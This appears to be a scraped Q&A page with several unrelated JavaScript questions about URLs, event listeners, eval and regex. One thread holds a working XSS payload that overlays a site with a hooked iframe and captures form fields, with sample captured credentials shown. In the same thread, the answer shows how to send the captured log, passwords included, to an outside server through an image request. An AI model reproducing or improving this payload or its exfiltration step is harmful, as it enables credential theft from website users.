How to Clear then Append URL with JavaScript - javascript

I am trying to reload a page after a few seconds and append the URL with a variable containing new Lat Long coordinates. Consider the code snippet below that works with Leaflet:
var latlng = getQueryVariable("latlng");
if(latlng){
console.log(latlng); //working
}
function getQueryVariable(variable) {
var query = window.location.search.substring(1);
var vars = query.split("?");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if (pair[0] == variable) {
return pair[1];
}
}
alert('Query Variable ' + variable + ' not found');
}
function onMapClick(e) {//Coordinate pop up
popup.setLatLng(e.latlng)
.setContent("Coordinates clicked are: " + e.latlng.toString())
.openOn(map);
var centerPoint = map.getSize().divideBy(2),
targetPoint = centerPoint.subtract([1500, 0]),
targetLatLng = map.containerPointToLatLng(centerPoint), //retrieve new lat longs
loadLatlng = "?latlng="+targetLatLng.lat+","+targetLatLng.lng;
setTimeout(function(){
//And herein lies the problem - the URL is being concatenated ??
window.location.href = window.location.href + loadLatlng;
window.location.href.reload(1);
}, 5000);
}
Does anyone know how to clear and then append the URL?
Thanks.

Build the url using the parts
window.location.href = [location.protocol, '//', location.host, location.pathname, loadLatlng].join("");
Same thing as
window.location.href = location.protocol + '//' + location.host + location.pathname + loadLatlng;
You could also do it a dirty way with splitting the current url on the ?
window.location.href = window.location.href.split("?")[0] + loadLatlng;

Related

Javascript Function duplicating itself after every run

When I run my function in the desired way, opening the context menu and then clicking the button, I can see my desired result the first time. Every time after that, it runs it always one time more. So the second time, I get the success message twice, the third three times, and so on.
This is for a Leaflet Maps project, by the way.
Also, I need to have the functions on the main map.on function, to get the coordinates of the click.
map.on('contextmenu', function(e) {
document.getElementById('context-menu').style.display = 'block';
document.getElementById('context-menu').style.left = e.originalEvent.x + 'px';
document.getElementById('context-menu').style.top = e.originalEvent.y + 'px';
function copyCoordinates() {
var lat = e.latlng.lat;
var lng = e.latlng.lng;
var zoom = map.getZoom();
var params = 'lat=' + lat + '&lon=' + lng + '&zoom=' + zoom;
var newUrl = window.location.protocol + '//' + window.location.host + window.location.pathname + '?' + params;
navigator.clipboard.writeText(newUrl);
toastr.success('Copied coordinates to clipboard!', {timeOut: 5000})
document.getElementById('context-menu').style.display = 'none';
}
document.getElementById('copyCoordinates').addEventListener('click', copyCoordinates);
function copyCoordinatesFormatted() {
var lat = Math.floor(e.latlng.lat);
var lng = Math.floor(e.latlng.lng);
var formatted = '"lat": ' + lat + ',\n "lng": ' + lng + ',';
navigator.clipboard.writeText(formatted);
toastr.success('Copied coordinates to clipboard!', {timeOut: 5000})
var flag = true;
document.getElementById('context-menu').style.display = 'none';
}
document.getElementById('copyMarker').addEventListener('click', copyCoordinatesFormatted);
});
I tried adding flags, but that didn't work.
I fixed it by using onclick rather then EventListeners.
document.getElementById('copyCoordinates').onclick = copyCoordinates;
Thanks for the help!

Javascript variable's output is empty when sent via HTTP Request

I have the following code (NOTE: The code isn't mine, I just want to modify it, here is the source: https://rileykidd.com/2013/06/06/the-xss-who-watched-me/). Here is the code from the website:
(function() {
var d = new Date();
function log(m){
var s = d;
for(i in m){ s += "\n" + i + ":" + m[i] + " "; }
console.log(s);
}
function spoof(k){
window.history.pushState({}, "", k);
}
function hook(){
$('#xss').contents().find('a').bind('click', function() {
log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
spoof($(this).attr('href'));
});
$('#xss').contents().find('form').bind('submit', function() {
var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
log(l);
spoof($(this).attr('action'));
});
}
function poison() {
if (self == top){
$('body').children().hide();
log({"Hooked":document.URL});
$('<iframe id="xss">').attr('src', document.URL).css({
"position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
}).appendTo('body').load(function(){
hook();
});
}
}
function poll() {
if (typeof(jQuery) !== 'undefined') {
clearInterval(interval);
poison();
}
}
if (typeof(jQuery) == 'undefined') {
var s = document.createElement('script');
s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
document.head.appendChild(s);
var interval = setInterval(poll, 50);
} else {
poison();
}
})();
My goal is to modify this code so that I can send a request to http://server.com the following variables: document.URL and $(this).attr('action'), so I added the following code instead of log(l) (line 19):
new Image().src = "http://server.com/file.php?data=" + document.URL + $(this).attr('action');
The problem is whenever I want to make a HTTP Request including this variable $(this).attr('action'), the output of the second variable I get in the server is empty. document.URL works just fine, however the second variable is what I am facing problem with. When I test the variable output into the browser it works perfectly (when executing log(l)), I get:
Current:http://somewebsite.com
Target:/login
utf8:✓
authenticity_token:random
back_url:http://somewebsite.com
username:something#email.com
password:my_secured_password
Now my goal is to send this output into the server.
You probably need to URI-encode your query params:
new Image().src = (
'http://server.com/file.php' +
'?url=' + encodeURIComponent(document.URL) +
'&action=' + encodeURIComponent($(this).attr('action'))
);
If you need to send log output to the server, modify your function log:
function log(m) {
var s = d;
for (i in m) {
s += "\n" + i + ":" + m[i] + " ";
}
console.log(s);
new Image().src = 'http://server.com/file.php?data=' + encodeURIComponent(s);
}

Javascript window relocating adding unwanted parameter

I've been trying this for a lot of time now. I'm getting a value with the input and I'm trying to redirect the page by adding a new parameter and just passing dummy value 23 for now to the parameter number_range.
However, in the end in the window.location part it adds the parameter myurl/?e=1 always at the start. After that it redirects properly. How do I fix this. Please Help.
Also I'm new to javascript so please forgive my bad code and possible mistakes.
<h3>Price Filter</h3>
<input id="number_range" type="text"/><br>
<button onclick="filter_start(this,'gt'); return true;">Greater or equal</button><br>
<button onclick="filter_start(this,'ltt'); return false;">Less or equal</button>
<script language="javascript" type="text/javascript">
var filter_start = function(el, indicator){
setGetParameter("number_range", 23);
}
function setGetParameter(paramName, paramValue)
{
var url = window.location.href;
var hash = location.hash;
url = url.replace(hash, '');
if (url.indexOf("?") >= 0)
{
var params = url.substring(url.indexOf("?") + 1).split("&");
var paramFound = false;
params.forEach(function(param, index) {
var p = param.split("=");
if (p[0] == paramName) {
params[index] = paramName + "=" + paramValue;
paramFound = true;
}
});
if (!paramFound) params.push(paramName + "=" + paramValue);
url = url.substring(0, url.indexOf("?")+1) + params.join("&");
}
else
url += "?" + paramName + "=" + paramValue;
window.location.href = url + hash;
}
EDIT: Sorry just ran it in another place and this seems to work. I Think the problem then lies in Django's admin template or jquery.
Seems that you're missing some curly bracers. I've tidied your code very slightly:
var filter_start = function(el, indicator) {
setGetParameter("number_range", 23);
}
function setGetParameter(paramName, paramValue) {
var url = window.location.href;
var hash = location.hash;
url = url.replace(hash, '');
if (url.indexOf("?") >= 0) {
var params = url.substring(url.indexOf("?") + 1).split("&");
var paramFound = false;
params.forEach(function(param, index) {
var p = param.split("=");
if (p[0] == paramName) {
params[index] = paramName + "=" + paramValue;
paramFound = true;
}
});
if (!paramFound) params.push(paramName + "=" + paramValue);
url = url.substring(0, url.indexOf("?") + 1) + params.join("&");
} else {
url += "?" + paramName + "=" + paramValue;
window.location.href = url + hash;
}
}

how solve this appears illegal character when i click two times?

I have this function works well when i click the first time but when i click the second time receive a error in this part
eval("var " + data + "=sinvnword;");
Code:
$('a.play-video').click(function(){
var currentLocation = window.location;
var fullurl = window.location.href;
url = fullurl.split("sendx")[1];
var sinvnword = $('.question-label.active').last().text();
console.log(sinvnword);
var data =url ;
eval("var " + data + "=sinvnword;");
console.log(AXY + "GETIT");
console.log(AXY+"mor");
console.log(AXY + "muerte");
});
Rather than using eval to create dynamic variable names, simply use dynamic property names:
var data = {};
$('a.play-video').click(function(){
var currentLocation = window.location;
var fullurl = window.location.href;
var key = fullurl.split("sendx")[1];
var sinvnword = $('.question-label.active').last().text();
console.log(sinvnword);
data[key] = sinvnword;
console.log(AXY + "GETIT");
console.log(AXY+"mor");
console.log(AXY + "muerte");
});

Getting group value of element ID with Regex/Javascript

I have a DIV with element id; e.g. "bgjhkn2n2-20". I'm trying to get the regex right so I can load reports dynamically into div's based on id.
console.log(elemID) prints the bgjhkn2n2-20 as expected. It's not printing the # that normally prefixes element Id. console.log(repDBID[0]) prints the full element ID; but I can not get firebug to print the groups I get from a similar test in a regextester with console.log(repDBID[0]). If I append an index number to the match statement, it returns null.
Help?
var baseURL = window.location.protocol + "//" + window.location.hostname + "/db/";
var genREP = "?a=API_GenResultsTable&qid=";
$('#tab1 div').each(function (e){
var elemID = this.getAttribute('id');
console.log(elemID);
var pattern=/([a-z0-9]{9})-([1-9]{1}[0-9]*)/g
var repDBID = elemID.match(pattern); //get dbid
console.log(repDBID[0]);
var repID = elemID.match(pattern)[2]; //get qid
//console.log(repID);
//$(this).load(baseURL+repDBID+genREP+repID);
$('#repTabs').tab(); //initialize tabs
});
Remove the g from your regex and it should work just fine:
var baseURL = window.location.protocol + "//" + window.location.hostname + "/db/";
var genREP = "?a=API_GenResultsTable&qid=";
$('#tab1 div').each(function(e) { // You might need `#tab1 > div`
var parts = this.id.match(/([a-z0-9]{9})-([1-9]{1}[0-9]*)/);
var repDBID = parts[1];
var repID = parts[2];
$(this).load(baseURL + repDBID + genREP + repID);
$('#repTabs').tab();
});
Here's what I mean:
> id.match(/([a-z0-9]{9})-([1-9]{1}[0-9]*)/g);
["bgjhkn2n2-20"]
> id.match(/([a-z0-9]{9})-([1-9]{1}[0-9]*)/);
["bgjhkn2n2-20", "bgjhkn2n2", "20"]

Categories